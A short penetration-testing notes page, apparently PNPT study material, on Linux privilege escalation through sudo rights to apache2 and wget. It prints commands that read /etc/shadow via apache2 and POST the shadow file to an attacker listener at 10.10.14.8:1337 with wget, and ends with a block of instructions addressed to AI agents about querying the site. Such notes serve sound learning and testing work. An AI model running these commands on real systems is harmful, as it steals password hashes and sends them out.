# Intended Functionality

### Example

After running **sudo -l** you come across apache2, however it isn't in gtfobins.

Quick google search can lead you [here](https://juggernaut-sec.com/sudo-part-2-lpe/).&#x20;

Apache 2 has the ability to read files so you can abuse this by reading the shadow file

```
sudo apache2 -f /etc/shadow
```

<figure><img src="/files/0OwTUGYaPXjbg33CGfqC" alt=""><figcaption></figcaption></figure>

Another example could be with wget and sending yourself the shadow file with POST and a nc listener

```
sudo wget --post-file=/etc/shadow 10.10.14.8:1337
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/linux-privilege-escalation/sudo/intended-functionality.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
